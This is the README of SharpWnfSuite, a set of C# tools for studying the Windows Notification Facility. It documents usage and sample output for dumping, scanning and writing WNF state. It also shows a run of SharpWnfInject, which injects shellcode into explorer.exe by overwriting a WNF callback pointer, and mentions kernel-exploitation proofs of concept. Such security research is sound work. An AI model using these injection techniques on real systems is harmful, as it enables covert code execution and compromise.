SharpWnfSuite
This is the repository for Windows Notification Facility (WNF) tools. Currently, a C# port of the tools in wnfun developed by Alex Ionescu (@aionescu) and Gabrielle Viala (@pwissenlit) has been uploaded. When I develop additional tools for Windows Notification Facility, they will be uploaded here.
Table Of Contents
Usage
SharpWnfDump
This tool dumps or manipulate information about WNF State Names. Equivalent to wnfdump.exe and WnfDump.py. I made some updates from the original tool (Exception Handling, Well-Known State Name and new WNF_DATA_SCOPE member).
To retrieve information of all Well-Known, Permanent and Persistent WNF State Names on your host, execute with -d
(--dump
) flag:
C:\dev>SharpWnfDump.exe -d
| WNF State Name [WnfWellKnownStateName Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RO | U | 0 | 12 | 0 |
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RO | U | 0 | 4 | 0 |
| WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 400 |
--snip--
If you want to retrieve Security Descripter information, set -s
(--sid
) flag:
C:\dev>SharpWnfDump.exe -d -s
| WNF State Name [WnfWellKnownStateName Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RO | U | 0 | 12 | 0 |
D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)
--snip--
If you want to retrieve buffer data, set -v
(--value
) or -r
(--read
) flag:
C:\dev>SharpWnfDump.exe -d -v
| WNF State Name [WnfWellKnownStateName Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RO | U | 0 | 12 | 0 |
--snip--
| WNF_AUDC_RENDER | S | W | N | RO | U | 4096 | 4096 | 345 |
00000000 | 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
00000010 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
00000020 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
--snip--
To retrieve information of all Temporary WNF State Names on your host, execute with -b
(--brut
) flag:
C:\dev>SharpWnfDump.exe -b
| WNF State Name [WnfDataScopeSystem Scope] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| 0x41C64E6DA3BC5045 | S | T | N | RO | U | 4 | ? | 4 |
| 0x41C64E6DA3BC5845 | S | T | N | RO | U | 4 | ? | 4 |
--snip--
The -b
(--brut
) flag can be used with -v
(--value
) or -r
(--read
) flag, but cannot be used with -s
(--sid
) flag.
The meaning of each column in the table obtained from the results of --dump
or --brut
option is as follows:
Column Name | Description |
---|---|
WNF State Name |
WNF State Names are outputted here |
S |
Data scope for WNF State Name. The meanings of the alphabets displayed are as follows: + S : System Scope+ s : Session Scope+ U : User Scope+ P : Process Scope+ M : Machine Scope+ p : Physical Machine Scope |
L |
Lifetime for WNF State Name. The meanings of the alphabets displayed are as follows: + W : Well-Known+ P : Permanent+ V : Persistent (Volatile)+ T : Temporary |
P |
Displays if the WNF State Name is permanent: + Y : Yes+ N : No |
AC |
Access control for the WNF State Name: + RW : Readable and Writable+ RO : Read-Only+ WO : Write-Only+ NA : Not Readable and Writable |
N |
Displays subscriber existence: + A : Subscriber exists+ I : No subscriber exists+ U : Unknown |
CurSize |
The number means current buffer size used for the WNF State Name. |
MaxSize |
The number means maximum buffer size can be used for the WNF State Name. |
Changes |
The number means how many times updated. |
If you want to retrieve information about a specific WNF State Name, execute SharpWnfDump.exe
with -i
(--info
) option as follows:
C:\dev>SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN
| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 26 |
The -i
(--info
) option can be used with -v
(--value
), -r
(--read
), and -s
(--sid
) flag:
C:\dev>SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -s -v
| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 26 |
D:(A;;CC;;;WD)(A;;CCDC;;;AU)(A;;CCDC;;;AC)
00000000 | 11 00 00 00 | ....
To read data from a specific WNF State Name, use -r
(--read
) flag as follows:
C:\dev>SharpWnfDump.exe -r WNF_SHEL_APPRESOLVER_SCAN
WNF_SHEL_APPRESOLVER_SCAN:
00000000 | 11 00 00 00 | ....
To write data to a specific WNF State Name, use -w
(--write
) flag as follows (data for write should be provided with a file):
C:\dev>echo hi>test.txt
C:\dev>SharpWnfDump.exe -w WNF_SHEL_APPRESOLVER_SCAN test.txt
[>] Trying to write data.
|-> Target WNF Name : WNF_SHEL_APPRESOLVER_SCAN
|-> Data Source : C:\dev\test.txt
[+] Data is written successfully.
C:\dev>SharpWnfDump.exe -r WNF_SHEL_APPRESOLVER_SCAN
WNF_SHEL_APPRESOLVER_SCAN:
00000000 | 68 69 0D 0A | hi..
SharpWnfNameDumper
This tool dumps Well-Known State Name from DLL (typically perf_nt_c.dll). Equivalent to WnfNameDumper.py.
Typically, Well-Know State Names is contained in perf_nt_c.dll (it is in the Windows Performance Analyzer).
To dump Well-Know State Names from DLL, execute SharpWnfNameDumper.exe
with -d
(--dump
) option as follows:
C:\dev>SharpWnfNameDumper.exe -d perf_nt_c.dll
[>] Output results in C# style.
public enum WELL_KNOWN_WNF_NAME : ulong
{
WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
If you want to dump description for Well-Known State Names, set -v
flag:
C:\dev>SharpWnfNameDumper.exe -d perf_nt_c.dll -v
[>] Output results in C# style.
public enum WELL_KNOWN_WNF_NAME : ulong
{
// The Plan 9 Redirector was started and is ready to accept requests.
WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
// The Plan 9 Redirector got a request for an unknown WSL distribution and there is no user callback registered to query it.
WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
To specify the output format, use -f
(--format
) option. SharpWnfNameDumper.exe
supports C#, C (-f c
) and Python (-f py
) format (default format is C#):
C:\dev>SharpWnfNameDumper.exe -d perf_nt_c.dll -f py
[>] Output results in Python style.
g_WellKnownWnfNames = {
"WNF_9P_REDIRECTOR_STARTED": 0x41C61E54A3BC1075,
"WNF_9P_UNKNOWN_DISTRO_NAME": 0x41C61E54A3BC0875,
--snip--
To output the result to a file, use -o
(--output
) option to specify output file path:
C:\dev>SharpWnfNameDumper.exe -d perf_nt_c.dll -o result.txt
[>] Output results in C# style.
C:\dev>type result.txt
public enum WELL_KNOWN_WNF_NAME : ulong
{
WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
To take diff from 2 DLLs, use -D
(--diff
) option:
C:\dev>SharpWnfNameDumper.exe -D perf_nt_c_old.dll perf_nt_c_new.dll
[>] Output results in C# style.
################################################
# NEW KEYS #
################################################
public enum WELL_KNOWN_WNF_NAME : ulong
{
WNF_SHEL_CHAT_ICON_BADGE = 0x0D83063EA3B8A035UL,
WNF_SHEL_ENTERPRISE_START_PINS_POLICY_VALUE_CHANGED = 0x0D83063EA3B89475UL,
WNF_SHEL_FILE_EXPLORER_PINNED_FOLDERS = 0x0D83063EA3B8ACF5UL,
WNF_SHEL_MAC_AUTO_UPDATE_SUCCEEDED = 0x0D83063EA3B89875UL
}
SharpWnfClient
This is a tool for a subscribe WNF State Name. Equivalent to wnfclient-rtl.exe and WnfClientServer.py.
For example, if you want to monitor the state of WNF_SHEL_APPLICATION_STARTED
, execute SharpWnfClient.exe
as follows:
C:\dev>SharpWnfClient.exe WNF_SHEL_APPLICATION_STARTED
[>] Received data from server.
|-> Timestamp : 393
|-> Buffer Size : 106 byte(s)
|-> Data :
00000000 | 61 00 3A 00 7B 00 31 00-61 00 63 00 31 00 34 00 | a.:.{.1. a.c.1.4.
00000010 | 65 00 37 00 37 00 2D 00-30 00 32 00 65 00 37 00 | e.7.7.-. 0.2.e.7.
00000020 | 2D 00 34 00 65 00 35 00-64 00 2D 00 62 00 37 00 | -.4.e.5. d.-.b.7.
00000030 | 34 00 34 00 2D 00 32 00-65 00 62 00 31 00 61 00 | 4.4.-.2. e.b.1.a.
00000040 | 65 00 35 00 31 00 39 00-38 00 62 00 37 00 7D 00 | e.5.1.9. 8.b.7.}.
00000050 | 5C 00 6E 00 6F 00 74 00-65 00 70 00 61 00 64 00 | \.n.o.t. e.p.a.d.
00000060 | 2E 00 65 00 78 00 65 00-00 00 | ..e.x.e. ..
Then, if you start Slack application, should see following result:
[>] Received data from server.
|-> Timestamp : 394
|-> Buffer Size : 54 byte(s)
|-> Data :
00000000 | 61 00 3A 00 63 00 6F 00-6D 00 2E 00 73 00 71 00 | a.:.c.o. m...s.q.
00000010 | 75 00 69 00 72 00 72 00-65 00 6C 00 2E 00 73 00 | u.i.r.r. e.l...s.
00000020 | 6C 00 61 00 63 00 6B 00-2E 00 73 00 6C 00 61 00 | l.a.c.k. ..s.l.a.
00000030 | 63 00 6B 00 00 00 | c.k...
SharpWnfServer
This tool creates a temporary lifetime WNF State Name and sends some message to the subscriber. Equivalent to wnfserver.exe and WnfClientServer.py.
To start new WNF State Name server, simply execute SharpWnfServer.exe
. We should enter an interactive shell as follows:
C:\dev>SharpWnfServer.exe
[+] New WNF State Name is created successfully : 0x41C64E6DA67F7145
Encoded State Name: 0x41C64E6DA67F7145, Decoded State Name: 0x5C37131
Version: 1, Lifetime: Temporary, Scope: Machine, Permanent: NO, Sequence Number: 0xB86E, Owner Tag: 0x0
Sending input data to WNF subscriber...
[INPUT]>
After executing SharpWnfServer.exe
, execute SharpWnfClient.exe
with WNF State Name provided with SharpWnfServer.exe
from another terminal. You should receive "Hello, world!" as a message from SharpWnfServer.exe
:
C:\dev>SharpWnfClient.exe 0x41C64E6DA67F7145
[>] Received data from server.
|-> Timestamp : 1
|-> Buffer Size : 13 byte(s)
|-> Data :
00000000 | 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21 | Hello,.w orld!
To publish additional message to SharpWnfClient.exe
, enter your message to the interactive shell of SharpWnfServer.exe
:
[INPUT]> This is wnf test
Sending input data to WNF subscriber...
[INPUT]>
Then, you should see the message in the terminal for SharpWnfClient.exe
as follows:
[>] Received data from server.
|-> Timestamp : 2
|-> Buffer Size : 16 byte(s)
|-> Data :
00000000 | 54 68 69 73 20 69 73 20-77 6E 66 20 74 65 73 74 | This.is. wnf.test
SharpWnfScan
This tool is based on modexp's wnfscan, and dumps WNF subscription information from process.
C:\dev>SharpWnfScan.exe
SharpWnfScan - Tool for dumping WNF information from process.
Usage: SharpWnfScan.exe [Options]
-h, --help : Displays this help message.
-p, --pid : Specifies the target PID.
-P, --processname : Specifies the target process name.
-n, --name : Specifies a wnf state name for filtering.
-a, --all : Flag to dump information from all process.
-b, --brief : Flag to exclude WNF_USER_SUBSCRIPTION information.
-l, --list : Flag to list WNF State Name on this system.
-d, --debug : Flag to enable SeDebugPrivilege. Administrative privilege is required.
To dump a specific process, set -p
option as follows:
C:\dev>SharpWnfScan.exe -p 9236
Process Name : explorer.exe
Process ID : 9236
Architecture : x64
WNF_SUBSCRIPTION_TABLE @ 0x0000000000F6EEB0
WNF_NAME_SUBSCRIPTION @ 0x00000000157D79C0
StateName : 0x41C61439A3BC1075 (WNF_TZ_STORE_CHANGED)
WNF_USER_SUBSCRIPTION @ 0x00000000156B3E50
Callback @ 0x00007FFAC69ECD40 (Windows.Globalization.dll!DllCanUnloadNow)
Context @ 0x00007FFAC6B41840 (Windows.Globalization.dll!DllCanUnloadNow)
WNF_NAME_SUBSCRIPTION @ 0x00000000157D65C0
StateName : 0x41C61439A3BC0875 (WNF_TZ_LEGACY_STORE_CHANGED)
WNF_USER_SUBSCRIPTION @ 0x00000000156B3CF0
Callback @ 0x00007FFAC69ECD40 (Windows.Globalization.dll!DllCanUnloadNow)
Context @ 0x00007FFAC6B41840 (Windows.Globalization.dll!DllCanUnloadNow)
--snip--
You can specifies target processes by name with -P
option:
C:\dev>SharpWnfScan.exe -P notepad
Process Name : notepad.exe
Process ID : 6812
Architecture : x86
Warning : To get detailed symbol information of WOW64 process, should be built as 32 bit binary.
WNF_SUBSCRIPTION_TABLE @ 0x02960F08
WNF_NAME_SUBSCRIPTION @ 0x02986DC8
StateName : 0x7851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
WNF_USER_SUBSCRIPTION @ 0x02992778
Callback @ 0x766DFDB0 (rpcrt4.dll)
Context @ 0x00000000 (N/A)
--snip--
To filter with state name, set hex or well know wnf name string to -n
option as follows:
C:\dev>SharpWnfScan.exe -P notepad -n WNF_RPCF_FWMAN_RUNNING
Process Name : notepad.exe
Process ID : 10676
Architecture : x64
WNF_SUBSCRIPTION_TABLE @ 0x000002AB85EF08F0
WNF_NAME_SUBSCRIPTION @ 0x000002AB85F2DF70
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
WNF_USER_SUBSCRIPTION @ 0x000002AB85F1E220
Callback @ 0x00007FFADA9673B0 (rpcrt4.dll!I_RpcBindingSetPrivateOption)
Context @ 0x0000000000000000 (N/A)
C:\dev>SharpWnfScan.exe -P notepad -n 0x7851E3FA3BC0875
Process Name : notepad.exe
Process ID : 10676
Architecture : x64
WNF_SUBSCRIPTION_TABLE @ 0x000002AB85EF08F0
WNF_NAME_SUBSCRIPTION @ 0x000002AB85F2DF70
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
WNF_USER_SUBSCRIPTION @ 0x000002AB85F1E220
Callback @ 0x00007FFADA9673B0 (rpcrt4.dll!I_RpcBindingSetPrivateOption)
Context @ 0x0000000000000000 (N/A)
To remove WNF_USER_SUBSCRIPTION
information from output, use -b
option:
C:\dev>SharpWnfScan.exe -P explorer -b
Process Name : explorer.exe
Process ID : 4320
Architecture : x64
WNF_SUBSCRIPTION_TABLE @ 0x0000000000C6BA00
WNF_NAME_SUBSCRIPTION @ 0x0000000000CBB7C0
StateName : 0x41C6072CA3BC1075 (WNF_AI_PACKAGEINSTALL)
WNF_NAME_SUBSCRIPTION @ 0x0000000000C5D780
StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)
WNF_NAME_SUBSCRIPTION @ 0x0000000004A30DE0
StateName : 0x41C61629A3BC1035 (WNF_DX_MODE_CHANGE_NOTIFICATION)
WNF_NAME_SUBSCRIPTION @ 0x00000000032BED40
StateName : 0x418F1E3EA3BC0835 (WNF_SPI_LOGICALDPIOVERRIDE)
WNF_NAME_SUBSCRIPTION @ 0x0000000004BC5990
StateName : 0x0E8A0125A3BC0835 (WNF_HOLO_USER_DISPLAY_CONTEXT)
WNF_NAME_SUBSCRIPTION @ 0x0000000004BC6490
StateName : 0x0F950324A3BC0835 (WNF_IMSN_MONITORMODECHANGED)
WNF_NAME_SUBSCRIPTION @ 0x0000000006FDBF40
StateName : 0x0D83063EA3BD0035 (WNF_SHEL_TOAST_PUBLISHED)
To dump all processes at a time, use -a
option:
C:\dev>SharpWnfScan.exe -a
Process Name : gamingservices
Process ID : 5600
Architecture : N/A
Error Message : Access is denied
--snip--
Process Name : chrome.exe
Process ID : 10248
Architecture : x64
WNF_SUBSCRIPTION_TABLE @ 0x0000019D34FA6930
WNF_NAME_SUBSCRIPTION @ 0x0000019D34FC5A70
StateName : 0x418A073AA3BC88F5 (WNF_WIL_USER_FEATURE_STORE)
WNF_USER_SUBSCRIPTION @ 0x0000019D34FC59C0
Callback @ 0x00007FFADA72F720 (combase.dll!ObjectStublessClient32)
Context @ 0x00007FFADA8A3F10 (combase.dll!Ordinal183essClient32)
WNF_NAME_SUBSCRIPTION @ 0x0000019D34FC5920
StateName : 0x418A073AA3BC7C75 (WNF_WIL_MACHINE_FEATURE_STORE)
WNF_USER_SUBSCRIPTION @ 0x0000019D34FC5870
Callback @ 0x00007FFADA72F720 (combase.dll!ObjectStublessClient32)
Context @ 0x00007FFADA8A3F10 (combase.dll!Ordinal183essClient32)
--snip--
To enable SeDebugPrivilege
, set -d
flag as follows.
This option requires administrative privilege:
C:\dev>SharpWnfScan.exe -d -P lsass
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
Process Name : lsass.exe
Process ID : 1212
Architecture : x64
WNF_SUBSCRIPTION_TABLE @ 0x0000022C22A13B30
WNF_NAME_SUBSCRIPTION @ 0x0000022C2320AAF0
StateName : 0x418F1D23A3BC0875 (WNF_NSI_SERVICE_STATUS)
WNF_USER_SUBSCRIPTION @ 0x0000022C23508260
Callback @ 0x00007FFAD12C3C00 (winnsi.dll!NsiRpcSetParameterEx)
Context @ 0x0000000000000000 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x0000022C2340B1D0
StateName : 0x17951A3BA3BC0875 (WNF_VTSV_CDS_SYNC)
WNF_USER_SUBSCRIPTION @ 0x0000022C22AC9700
Callback @ 0x00007FFAA08FFCE0 (vaultsvc.dll!ServiceMainameterEx)
Context @ 0x0000000000000000 (N/A)
--snip--
To list WNF State Names used in the target system, set -l
flag as follows:
C:\dev>SharpWnfScan.exe -l
[>] Trying to list WNF State Names used in this system. Wait a moment.
[+] Got 194 WNF State Names.
|-> 0x41C64E6DA3965045 (N/A)
|-> 0x41C64E6DA39F4845 (N/A)
--snip--
|-> 0x0D891E2AA3BC0875 (WNF_GPOL_SYSTEM_CHANGES)
|-> 0x0D83063EA3BC2475 (WNF_SHEL_OOBE_USER_LOGON_COMPLETE)
[*] Access is denied by following 106 proccesses.
|-> svchost (PID : 3444)
|-> svchost (PID : 3012)
--snip--
|-> System (PID : 4)
|-> Idle (PID : 0)
[*] Done.
SharpWnfInject
This tool is to investigate how attackers can abuse WNF for code injection technique:
C:\dev>SharpWnfInject.exe -h
SharpWnfInject - Tool to investigate WNF code injection technique.
Usage: SharpWnfInject.exe [Options]
-h, --help : Displays this help message.
-n, --name : Specifies WNF State Name to inject. Hex format or Well-known name format is accepted.
-p, --pid : Specifies PID to inject.
-i, --input : Specifies the file path to shellcode.
-d, --debug : Flag to enable SeDebugPrivilege. Requires administrative privilege.
This tool overwrite callback function pointer in WNF_USER_SUBSCRIPTION
for a specific WNF State Name.
The code injection technique does not work for all WNF State Name.
For example, this technique is known to be available for WNF_SHEL_APPLICATION_STARTED
used by explorer.exe
in Windows 10.
To test this technique, execute this tool as follows:
C:\dev>SharpWnfInject.exe -p 3928 -n WNF_SHEL_APPLICATION_STARTED -i payload.bin
[>] Trying to open the target process.
[+] Target process is opened successfully.
|-> Process Name : explorer.exe
|-> Process ID : 3928
|-> Architecture : x64
[>] Trying to get WNF_SUBSCRIPTION_TABLE.
[+] Got valid WNF_SUBSCRIPTION_TABLE.
|-> Address : 0x0000000000AAB820
[>] Trying to get WNF_NAME_SUBSCRIPTION(s).
[+] Got 100 WNF_NAME_SUBSCRIPTION(s).
[>] Searching the WNF_NAME_SUBSCRIPTION for the specified WNF State Name.
[+] Got WNF_NAME_SUBSCRIPTION for the specified WNF State Name.
|-> WNF State Name : 0x0D83063EA3BE0075 (WNF_SHEL_APPLICATION_STARTED)
|-> Address : 0x0000000004832800
[>] Trying to get WNF_USER_SUBSCRIPTION(s) for the target WNF_NAME_SUBSCRIPTION.
[+] Got 1 WNF_USER_SUBSCRIPTION(s).
[>] Trying to inject shellccode to the following WNF_USER_SUBSCRIPTION.
|-> Address : 0x00000000047D4480
|-> Callback : 0x00007FFC4ED4EE90 (twinui.pcshell.dll)
|-> Context : 0x0000000007C461F0 (N/A)
[>] Trying to allocate shellcode buffer in remote process.
[+] Shellcode buffer is allocated successfully.
|-> Shellcode buffer : 0x0000000002FB0000
[>] Trying to write shellcode to remote process.
[+] Shellcode are written successfully.
|-> Shellcode Length : 344 byte(s)
[>] Trying to overwrite callback function pointer.
[+] Callback function pointer is overwritten successfully.
[+] WNF State Data is updated successfully.
[>] Trying to revert callback function pointer.
[+] Callback function pointer is reverted successfully.
[+] Code injection is completed successfully.
If you want to enable SeDebugPrivilege
, set -d
flag and execute with administrative privilege.
KernelPrimitive
Projects in this directory are to demonstrate WNF primitive for kernel exploitation. You can read the detailed information in Alex Plaskett's talk and blogs (Part 1, Part 2, Slide).
Reliability of the PoC is not 100%. I defined kernel offset for all versions of Windows 10 x64, but only tested in Windows 10 Version 1903 x64.
Project | Description |
---|---|
PoolVulnDrv | This is a vulnerable kernel driver to test WNF kernel primitive. |
WnfPoolOverflow | This is a PoC to exploit PoolVulnDrv. |
WnfCallbackPayload
This directory contains documents and sample codes to build your own WNF callback shellcode. See README.md.
Reference
- Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet
- Playing with the Windows Notification Facility (WNF)
- wnfun
- Windows Process Injection : Windows Notification Facility
- New WNF User Subscription Structures in Windows 11
- CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1
- CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 2
- POC2021 – Pwning the Windows 10 Kernel with NTFS and WNF Slides
Acknowledgments
Thanks for your research:
- Alex Ionescu (@aionescu)
- Gabrielle Viala (@pwissenlit)
- odzhan (@modexpblog)
- Alex Plaskett (@alexjplaskett)
Thanks for your help:
- mishap (@oopsmishap)